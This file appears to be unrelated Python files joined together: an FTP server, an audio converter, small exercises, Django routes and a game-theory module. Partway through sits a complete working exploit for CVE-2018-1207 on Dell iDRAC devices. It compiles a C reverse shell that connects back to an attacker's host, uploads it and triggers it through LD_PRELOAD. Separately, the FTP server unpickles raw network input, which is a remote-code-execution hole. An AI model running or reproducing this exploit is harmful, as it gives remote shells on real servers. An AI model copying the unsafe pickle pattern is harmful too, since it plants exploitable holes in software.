import socketserver, pickle, os, hashlib
from core.baseservice import BaseService

class FTPService(socketserver.BaseRequestHandler):

    def handle(self):
        print(self.client_address[0] + " has connected...")
        self.service = BaseService()
        while True:
            # 用户登录
            self.login_data = self.service.auth(self.get_request())
            self.send_response(self.login_data)
            if self.login_data.get("login") == "success":
                print("登录用户：", self.login_data.get("user").name)
                break
        while True:
            # 用户命令
            try:
                self.data = self.get_request()
            except ConnectionResetError as e:
                print(self.client_address[0] + " has lost...")
                print("用户退出：", self.login_data.get("user").name)
                break
            if not self.data:
                print(self.client_address[0] + " has closed...")
                print("用户退出：", self.login_data.get("user").name)
                break
            self.cmd(self.data)

    def get_request(self):
        # 获取数据到data
        data = self.request.recv(1024).strip()
        if not data:
            return
        format_data = pickle.loads(data)
        return format_data

    def send_response(self, data):
        # 发送data数据
        response = data
        self.request.sendall(pickle.dumps(response))

    def cmd(self, cmd):
        # 命令选择器
        cmd_com = cmd.get("cmd_com")
        getattr(self, "_%s" % cmd_com)(cmd)

    def _cd(self, cmd):
        # 切换目录命令
        dict = {"res": True}
        path = cmd.get("path")
        if cmd.get("cmd_sec"):
            # 有二级命令
            if cmd.get("cmd_con") == "..":
                # 返回上一层目录
                index = path.index(path.split("\\")[path.split("\\").__len__() - 1])
                path = path[:index - 1]
            else:
                # 进入指定目录
                into_path = os.path.join(self.service.get_path(cmd.get("path")), cmd.get("cmd_con"))
                if os.path.isdir(into_path):
                    # 存在指定目录
                    path = path + "\\" + cmd.get("cmd_con")
                else:
                    # 指定目录不存在
                    dict["res"] = False
                    dict["msg"] = "指定目录不存在!"
        else:
            # 返回家目录
            path = self.login_data.get("user").name
        dict["path"] = path
        self.send_response(dict)

    def _ls(self, cmd):
        # 显示目录下文件及子目录
        path = self.service.get_path(cmd.get("path"))
        data = os.listdir(path)
        dict = {"total": data.__len__(),
                "dir": [],
                "file": []}
        for i in data:
            if os.path.isfile(os.path.join(path, i)):
                dict["file"].append(i)
            if os.path.isdir(os.path.join(path, i)):
                dict["dir"].append(i)
        self.send_response(dict)

    def _dl(self, cmd):
        # 下载文件
        dict = {"start": True}
        path = self.service.get_path(cmd.get("path"))
        if not os.path.isfile(os.path.join(path, cmd.get("cmd_con"))):
            # 文件不存在
            dict["start"] = False
            dict["msg"] = "当前目录不存在该文件！"
            self.send_response(dict)
            return
        # 开始下载前必要数据传送
        dict["file_size_total"] = os.stat(os.path.join(path, cmd.get("cmd_con"))).st_size
        self.send_response(dict)
        if self.get_request() == "ready":
            # 开始下载
            self.send_file(os.path.join(path, cmd.get("cmd_con")))

    def _ul(self, cmd):
        # 上传文件
        # 接收前置数据
        self.send_response("ready")
        # 接收文件
        self.receive_file(cmd.get("path"), cmd.get("filename"), cmd.get("file_size_total"))

    def send_file(self, path):
        # 发送文件
        m = hashlib.md5()
        with open(path, "rb") as f_r:
            for line in f_r:
                m.update(line)
                self.request.sendall(line)
        self.send_response(m.hexdigest())

    def receive_file(self, path, filename, file_size_total):
        # 接收文件
        m = hashlib.md5()
        file_size = 0
        path = self.service.get_path(path)
        with open(os.path.join(path, filename), "wb") as f_w:
            while file_size < file_size_total:
                if file_size_total - file_size > 1024:
                    size = 1024
                else:
                    size = file_size_total - file_size
                line = self.request.recv(size)
                m.update(line)
                f_w.write(line)
                file_size += len(line)
        client_m = self.get_request()
        if file_size == file_size_total:
            if client_m == m.hexdigest():# 验证MD5值
                self.send_response("success")
                # 保存用户信息（剩余空间减少）
                self.login_data.get("user").set_limit_space(file_size_total)
                self.service.save_user(self.login_data.get("user"))
                return
        os.remove(os.path.join(path, filename))
        self.send_response("fail")


from __future__ import print_function
import os, subprocess
import config as cf

def convert_rate(src_folder, dst_folder):
    if not os.path.isdir(src_folder):
        print("Source folder doesn't exist, continue")
    if not os.path.isdir(dst_folder): os.makedirs(dst_folder)

    fns = [fn for fn in os.listdir(src_folder) if
                any(map(fn.endswith, ['.mp3', '.wav', '.amr']))]

    for i, fn in enumerate(fns):
        old_fn = os.path.join(src_folder, fn)
        new_fn = os.path.join(dst_folder, fn + '.wav')
        # new_fn = dst_folder + fn + '.wav'
        if os.path.isfile(new_fn): continue
        # convert all file to wav, mono, sample rate 8000
        subprocess.call(['ffmpeg', '-loglevel', 'panic', '-i',  old_fn,
                '-acodec', 'pcm_s16le', '-ac', '1', '-ar', cf.RATE, new_fn])
        if (i+1)%100 == 0:
            print('{}/{}: {}'.format(i+1, len(fns), new_fn))

if __name__ == '__main__':
    # train
    for cate in cf.CATES:
        src_folder = os.path.join(cf.BASE_ORIGINAL_TRAIN, cate)
        dst_folder = os.path.join(cf.BASE_TRAIN, cate)
        convert_rate(src_folder, dst_folder)

    # public_test
    convert_rate(cf.BASE_ORIGINAL_PUBLIC_TEST, cf.BASE_PUBLIC_TEST)
    # private test
    convert_rate(cf.BASE_ORIGINAL_PRIVATE_TEST, cf.BASE_PRIVATE_TEST)


valorCasa = float(input('Qual é o valor da casa? '))
salario = float(input('Salario: '))
anos = int(input('Em quantos anos vai pagar: '))

prestacao = valorCasa/(anos*12)
verificacao = salario * 0.30

print('Valor da prestação: ', prestacao)

if verificacao >= prestacao:
    print('Emprestimo efetivado')
else:
    print('Emprestimo recusado')


N = int(input())
H = [int(i) for i in input().split()]

H_shifted = [0 for i in range(N)]

h_n_1 = 0
is_break = False
for i, h_i in enumerate(H):
    if h_n_1 > h_i:
        if H_shifted[i - 1] == 0:
            h_n_1 -= 1
        if h_n_1 > h_i:
            is_break = True
            break
        else:
            # ここでは同じ高さになっているはずで、これ以上下げられない
            H_shifted[i] = 1
    if h_n_1 == h_i:
        # 同じ高さになっているはずで、これ以上下げられない
        H_shifted[i] = 1
    if h_n_1 < h_i:
        # 低くできる場合にはしておく
        H_shifted[i] = 1
        h_n_1 = h_i - 1
    else:
        h_n_1 = h_i

if is_break:
    print('No')
else:
    print('Yes')


from collections import defaultdict

n = int(input())
a = list(map(int, input().split()))
indexes = defaultdict(list)

begin_index = 0
for i in range(1, n):
    if a[i] == a[begin_index]:
        continue
    # different color => [begin_index:i] will be same color
    # index_ = a[begin_index]
    indexes[a[begin_index]].append([begin_index, i])
    begin_index = i
indexes[a[begin_index]].append([begin_index, n])
# print(indexes)

total_interval_count = 0
t = [0] * n
for color, intervals in indexes.items():
    interval_count = len(intervals)
    total_interval_count += interval_count
    for i in range(interval_count - 1):
        from_interval, to_interval = intervals[i], intervals[i + 1]
        for j in range(from_interval[1], to_interval[0]):
            t[j] += 1

max_pos = max(enumerate(t), key=lambda x: x[1])
# print(t)
# print(max_pos)
# print(total_interval_count)
print(total_interval_count - max_pos[1] - 1)


# Dell iDRAC7 and iDRAC8 Devices Code Injection Vulnerability (RCE)
# Vulnerable version firmware: <  2.52.52.52
# CVE number: CVE-2018-1207

import requests
import sys
import os
import re
import struct
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

print("""
  ___  _  _  ____     ____   __    __  ____        __  ____   __  ____
 / __)/ )( \(  __)___(___ \ /  \  /  \/ _  \ ___  /  \(___ \ /  \(__  )
( (__ \ \/ / ) _)(___)/ __/(  0 )(_/ /) _  ((___)(_/ / / __/(  0 ) / /
 \___) \__/ (____)   (____) \__/  (__)\____/      (__)(____) \__/ (_/
""")

try:
    host = sys.argv[1:][0]
    port = sys.argv[1:][1]
    lhost = sys.argv[1:][2]
    lport = sys.argv[1:][3]
except:
    print("Usage: python ./CVE-2018-1207.py <remote_host> <remote_port> <local_host> <local_port>   ")
    print("       python ./CVE-2018-1207.py 192.168.1.10 443 192.168.1.200 5500")
    print("       nc -v -l -p <local_port>                                         ")
    exit()

payloadbin = 'payload.so'
payloadc = 'payload.c'
timeout = 10
url = 'https://' + str(host) + ':' + str(port)

try:
    r = requests.get(url + '/cgi-bin/login?LD_DEBUG=files', verify=False, timeout=timeout)
except:
    print("An error connecting to the server " + str(url))
    exit()

vul = re.search(r'calling init: /lib/', r.text)
if vul:
    print('[+] Server ' + str(url) + ' is vulnerable')
else:
    print('[-] Server ' + str(url) + ' is not vulnerable')
    exit()

print("Generate Payload")

if os.path.exists(payloadc):
    os.unlink(payloadc)

payload = ("""
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
static void main(void) __attribute__((constructor));
static void main(void)
{
       int pid = fork();
       if(!pid) {
		int sock = socket(AF_INET, SOCK_STREAM, 0);
		struct sockaddr_in serv_addr = {0};
		serv_addr.sin_family = AF_INET;
		serv_addr.sin_port = htons(%d);
		serv_addr.sin_addr.s_addr = inet_addr("%s");
		connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr));
		dup2(sock, 0);
		dup2(sock, 1);
		dup2(sock, 2);
		execl("/bin/sh", "/bin/sh", NULL);
	}
}
""") % (int(lport), lhost)

with open(payloadc, 'w') as file:
    file.write(payload)

if os.path.exists(payloadc):
    cmd = os.system('sh4-linux-gnu-gcc-10 -shared -fPIC ./payload.c -o ./payload.so')
    exit_code = os.WEXITSTATUS(cmd)
    if exit_code == 0:
        print("[+] Generated payload.")
    else:
        print("[!] Error generate payload. Need the package gcc-11-sh4-linux-gnu (apt-get install gcc-11-sh4-linux-gnu).")
        exit()
else:
    print("[!] Error generate payload. Please check the permissions and owner of that directory.")
    exit()

FFLAGS = 1
f = open(payloadbin, 'rb')
payload_so = f.read()
f.close()

f_alias = 'RACPKSSHAUTHKEY1'
res = bytes((f_alias + (32 - len(f_alias)) * '\0'),'utf-8')
res += struct.pack('<L', len(payload_so))
res += struct.pack('<L', FFLAGS)
res += payload_so

print("Upload payload")
r = requests.post(url + '/cgi-bin/putfile', data=res, verify=False, timeout=timeout)

if r.status_code == 200:
    print("[+] OK")
else:
    print("Failed upload Payload")
    exit()

print("Start shell.")
r = requests.get(url + '/cgi-bin/discover?LD_PRELOAD=/tmp/sshpkauthupload.tmp', verify=False, timeout=timeout)
print("Good luck!")

if os.path.exists(payloadc):
    os.unlink(payloadc)

if os.path.exists(payloadbin):
    os.unlink(payloadbin)


from django.urls import conf, path
from django.contrib.auth import views as auth_views

from . import views

urlpatterns = [
    path('become_agent/', views.become_agent, name='become_agent'),
    path('agent_admin/', views.agent_admin, name='agent_admin'),

    path('logout/', auth_views.LogoutView.as_view(), name='logout'),
    path('login/', views.agent_login_view, name='agent_login_view'),
    path('login_failed/', auth_views.LoginView.as_view(template_name='agent/login_NA.html'), name='login_failed'),

    path('activateitnowplease/<slug:uidb64>/<slug:token>/', views.activateitnowplease, name='activateitnowplease'),
    path('confirm_delivery/<slug:current_order_id>/', views.confirm_delivery, name='confirm_delivery'),
    path('verify_confirm_delivery/<slug:delivery_uidb64>/<slug:delivery_token>/<slug:current_order_id>/', views.verify_confirm_delivery, name='verify_confirm_delivery')
]


"""
Задание 3.
Определить количество различных подстрок с использованием хеш-функции.
Дана строка S длиной N, состоящая только из строчных латинских букв.

Подсказка: примените хеши и множества

рара:

рар
ра
ар
ара
р
а
"""

import hashlib

s = 'papa'
s_set = set()

for i in range(len(s)):
    for j in range(len(s)+1):
        if j > i and not(i == 0 and j == (len(s))):
            s_set.add(s[i:j])

print(len(s_set))

def substrings(s, h_set=set()):
    for i in range(len(s)):
        for j in range(len(s) + 1):
            if j > i and not (i == 0 and j == (len(s))):
                h_set.add(hashlib.sha256(s[i:j].encode()).hexdigest())
    return len(h_set)

print(substrings(s))


import pandas as pd

sales = pd.read_csv('train_data.csv', sep='\s*,\s*', engine='python')
X = sales['X'].values
Y = sales['Y'].values

s1 = 0
s2 = 0
s3 = 0
s4 = 0
n = 4

for i in range(n):
    s1 = s1 + X[i]*Y[i]
    s2 = s2 + X[i]
    s3 = s3 + Y[i]
    s4 = s4 + X[i]*X[i]

k = (s2*s3-n*s1)/(s2*s2-s4*n)
b = (s3 - k*s2)/n
print("Coeff: {} Intercept: {}".format(k, b))


"""
Compute all mixed Nash equilibria of a 2-player normal form game by
vertex enumeration.

References
----------
B. von Stengel, "Equilibrium Computation for Two-Player Games in
Strategic and Extensive Form," Chapter 3, N. Nisan, T. Roughgarden, E.
Tardos, and V. Vazirani eds., Algorithmic Game Theory, 2007.

"""
import numpy as np
import scipy.spatial
from numba import jit, guvectorize

def vertex_enumeration(g, qhull_options=None):
    """
    Compute mixed-action Nash equilibria of a 2-player normal form game
    by enumeration and matching of vertices of the best response
    polytopes. For a non-degenerate game input, these are all the Nash
    equilibria.

    Internally, `scipy.spatial.ConvexHull` is used to compute vertex
    enumeration of the best response polytopes, or equivalently, facet
    enumeration of their polar polytopes. Then, for each vertex of the
    polytope for player 0, vertices of the polytope for player 1 are
    searched to find a completely labeled pair.

    Parameters
    ----------
    g : NormalFormGame
        NormalFormGame instance with 2 players.

    qhull_options : str, optional(default=None)
        Options to pass to `scipy.spatial.ConvexHull`. See the `Qhull
        manual <http://www.qhull.org>`_  for details.

    Returns
    -------
    list(tuple(ndarray(float, ndim=1)))
        List containing tuples of Nash equilibrium mixed actions.

    """
    return list(vertex_enumeration_gen(g, qhull_options=qhull_options))

def vertex_enumeration_gen(g, qhull_options=None):
    """
    Generator version of `vertex_enumeration`.

    Parameters
    ----------
    g : NormalFormGame
        NormalFormGame instance with 2 players.

    qhull_options : str, optional(default=None)
        Options to pass to `scipy.spatial.ConvexHull`. See the `Qhull
        manual <http://www.qhull.org>`_  for details.

    Yields
    ------
    tuple(ndarray(float, ndim=1))
        Tuple of Nash equilibrium mixed actions.

    """
    try:
        N = g.N
    except AttributeError:
        raise TypeError('input must be a 2-player NormalFormGame')
    if N != 2:
        raise NotImplementedError('Implemented only for 2-player games')

    brps = [_BestResponsePolytope(
        g.players[1-i], idx=i, qhull_options=qhull_options
    ) for i in range(N)]

    labelings_bits_tup = \
        tuple(_ints_arr_to_bits(brps[i].labelings) for i in range(N))
    equations_tup = tuple(brps[i].equations for i in range(N))
    trans_recips = tuple(brps[i].trans_recip for i in range(N))

    return _vertex_enumeration_gen(labelings_bits_tup, equations_tup,
                                   trans_recips)

@jit(nopython=True)
def _vertex_enumeration_gen(labelings_bits_tup, equations_tup, trans_recips):
    """
    Main body of `vertex_enumeration_gen`.

    Parameters
    ----------
    labelings_bits_tup : tuple(ndarray(np.uint64, ndim=1))
        Tuple of ndarrays of integers representing labelings of the
        vertices of the best response polytopes.

    equations_tup : tuple(ndarray(float, ndim=2))
        Tuple of ndarrays containing the hyperplane equations of the
        polar polytopes.

    trans_recips : tuple(scalar(float))
        Tuple of the reciprocals of the translations.

    """
    m, n = equations_tup[0].shape[1] - 1, equations_tup[1].shape[1] - 1
    num_vertices0, num_vertices1 = \
        equations_tup[0].shape[0], equations_tup[1].shape[0]
    ZERO_LABELING0_BITS = (np.uint64(1) << np.uint64(m)) - np.uint64(1)
    COMPLETE_LABELING_BITS = (np.uint64(1) << np.uint64(m+n)) - np.uint64(1)

    for i in range(num_vertices0):
        if labelings_bits_tup[0][i] == ZERO_LABELING0_BITS:
            continue
        for j in range(num_vertices1):
            xor = labelings_bits_tup[0][i] ^ labelings_bits_tup[1][j]
            if xor == COMPLETE_LABELING_BITS:
                yield _get_mixed_actions(
                    labelings_bits_tup[0][i],
                    (equations_tup[0][i], equations_tup[1][j]),
                    trans_recips
                )
                break

class _BestResponsePolytope:
    r"""
    Class that represents a best response polytope for a player in a
    two-player normal form game.

    Let :math:`A` and :math:`B` be the m x n and n x m payoff matrices
    of players 0 and 1, respectively, where the payoffs are assumed to
    have been shifted in such a way that :math:`A` and :math:`B` are
    nonnegative and have no zero column. In von Stegel (2007), the best
    response polytope for player 0 is defined by

    .. math::

        P = \{x \in \mathbb{R}^m \mid x \geq 0,\ B x \leq 1\},

    and that for player 1 by

    .. math::

        Q = \{y \in \mathbb{R}^n \mid A y \leq 1,\ y \geq 0\}.

    Here, by translation we represent these in the form

    .. math::

        \hat{P} = \{z \in \mathbb{R}^m \mid D z \leq 1\},

    and

    .. math::

        \hat{Q} = \{w \in \mathbb{R}^n \mid C w \leq 1\},

    where :math:`D` and :math:`C` are (m+n) x m and (m+n) x n matrices,
    respectively. The 2d array of matrix :math:`D` for player 0 (or
    :math:`C` for player 1) is passed as its `points` argument to
    `scipy.spatial.ConvexHull`, which then computes, by the Qhull
    library, convex hull (or facet enumeration). By polar duality, this
    is equivalent to vertex enumeration of the polytope :math:`\hat{P}`,
    where its k-th vertex is obtained by `-equations[k, :-1]/
    equations[k, -1]`, and the indices of the corresponding binding
    inequalities by `labelings[k]`, while the vertex of the original
    polytope :math:`P` can be obtained by `-equations[k, :-1]/
    equations[k, -1] + 1/trans_recip`.

    Parameters
    ----------
    opponent_player : Player
        Instance of Player with one opponent.

    idx : scalar(int), optional(default=0)
        Player index in the normal form game, either 0 or 1.

    qhull_options : str, optional(default=None)
        Options to pass to `scipy.spatial.ConvexHull`. See the `Qhull
        manual <http://www.qhull.org>`_  for details.

    Attributes
    ----------
    ndim : scalar(int)
        Dimension of the polytope.

    hull : scipy.spatial.ConvexHull
        `ConvexHull` instance representing the polar polytope.

    num_vertices : scalar(int)
        Number of the vertices identified by `ConvexHull`.

    equations : ndarray(float, ndim=2)
        Output of `ConvexHull.equations`. The k-th vertex is obtained
        by `-equations[k, :-1]/equations[k, -1]`.

    labelings : ndarray(int32, ndim=2)
        Output of `ConvexHull.simplices`. `labelings[k]` stores the
        indices of the binding inequalities for the k-th vertex.

    trans_recip : scalar(float)
        Reciprocal of the translation; the k-th vertex of the original
        polytope before translation can be computed by
        `-equations[k, :-1]/equations[k, -1] + 1/trans_recip`.

    """
    def __init__(self, opponent_player, idx=0, qhull_options=None):
        try:
            num_opponents = opponent_player.num_opponents
        except AttributeError:
            raise TypeError('input must be a Player instance')
        if num_opponents != 1:
            raise NotImplementedError(
                'Implemented only for Player in a 2-player game'
            )

        B = opponent_player.payoff_array
        n, m = B.shape
        self.ndim = m
        D = np.empty((m+n, m))

        nonneg_cond_start, payoff_cond_start = (0, m) if idx == 0 else (n, 0)

        # Shift the payoffs to be nonnegative and have no zero column
        col_mins = B.min(axis=0)
        col_maxs = B.max(axis=0)
        nonpos_const_cols = (col_maxs == col_mins) * (col_mins <= 0)
        shifts = np.zeros(m)
        shifts[col_mins < 0] = -col_mins[col_mins < 0]
        shifts[nonpos_const_cols] += 1
        D[payoff_cond_start:payoff_cond_start+n, :] = B + shifts

        # Construct matrix D for player 0 (or matrix C for player 1)
        # by translation z = x - 1/trans_recip
        row_sums = D[payoff_cond_start:payoff_cond_start+n, :].sum(axis=1)
        trans_recip = row_sums.max() * 2
        D[payoff_cond_start:payoff_cond_start+n, :] *= trans_recip
        D[payoff_cond_start:payoff_cond_start+n, :] /= \
            (trans_recip - row_sums).reshape(n, 1)

        D[nonneg_cond_start:nonneg_cond_start+m, :] = 0
        np.fill_diagonal(
            D[nonneg_cond_start:nonneg_cond_start+m, :], -trans_recip
        )

        # Create scipy.spatial.ConvexHull
        self.hull = scipy.spatial.ConvexHull(D, qhull_options=qhull_options)

        self.equations = self.hull.equations
        self.labelings = self.hull.simplices
        self.num_vertices = self.hull.equations.shape[0]

        self.trans_recip = trans_recip

@guvectorize(['(i4[:], u8[:])'], '(m)->()', nopython=True, cache=True)
def _ints_arr_to_bits(ints_arr, out):
    """
    Convert an array of integers representing the set bits into the
    corresponding integer.

    Compiled as a ufunc by Numba's `@guvectorize`: if the input is a
    2-dim array with shape[0]=K, the function returns a 1-dim array of
    K converted integers.

    Parameters
    ----------
    ints_arr : ndarray(int32, ndim=1)
        Array of distinct integers from 0, ..., 63.

    Returns
    -------
    np.uint64
        Integer with set bits represented by the input integers.

    Examples
    --------
    >>> ints_arr = np.array([0, 1, 2], dtype=np.int32)
    >>> _ints_arr_to_bits(ints_arr)
    7
    >>> ints_arr2d = np.array([[0, 1, 2], [3, 0, 1]], dtype=np.int32)
    >>> _ints_arr_to_bits(ints_arr2d)
    array([ 7, 11], dtype=uint64)

    """
    m = ints_arr.shape[0]
    out[0] = 0
    for i in range(m):
        out[0] |= np.uint64(1) << np.uint64(ints_arr[i])

@jit(nopython=True, cache=True)
def _get_mixed_actions(labeling_bits, equation_tup, trans_recips):
    """
    From a labeling for player 0, a tuple of hyperplane equations of the
    polar polytopes, and a tuple of the reciprocals of the translations,
    return a tuple of the corresponding, normalized mixed actions.

    Parameters
    ----------
    labeling_bits : scalar(np.uint64)
        Integer with set bits representing a labeling of a mixed action
        of player 0.

    equation_tup : tuple(ndarray(float, ndim=1))
        Tuple of hyperplane equations of the polar polytopes.

    trans_recips : tuple(scalar(float))
        Tuple of the reciprocals of the translations.

    Returns
    -------
    tuple(ndarray(float, ndim=1))
        Tuple of mixed actions.

    """
    m, n = equation_tup[0].shape[0] - 1, equation_tup[1].shape[0] - 1
    out = np.empty(m+n)

    for pl, (start, stop, skip) in enumerate([(0, m, np.uint64(1)),
                                              (m, m+n, np.uint64(0))]):
        sum_ = 0.
        for i in range(start, stop):
            if (labeling_bits & np.uint64(1)) == skip:
                out[i] = 0
            else:
                out[i] = equation_tup[pl][i-start] * trans_recips[pl] - \
                    equation_tup[pl][-1]
                sum_ += out[i]
            labeling_bits = labeling_bits >> np.uint64(1)
        if sum_ != 0:
            out[start:stop] /= sum_

    return out[:m], out[m:]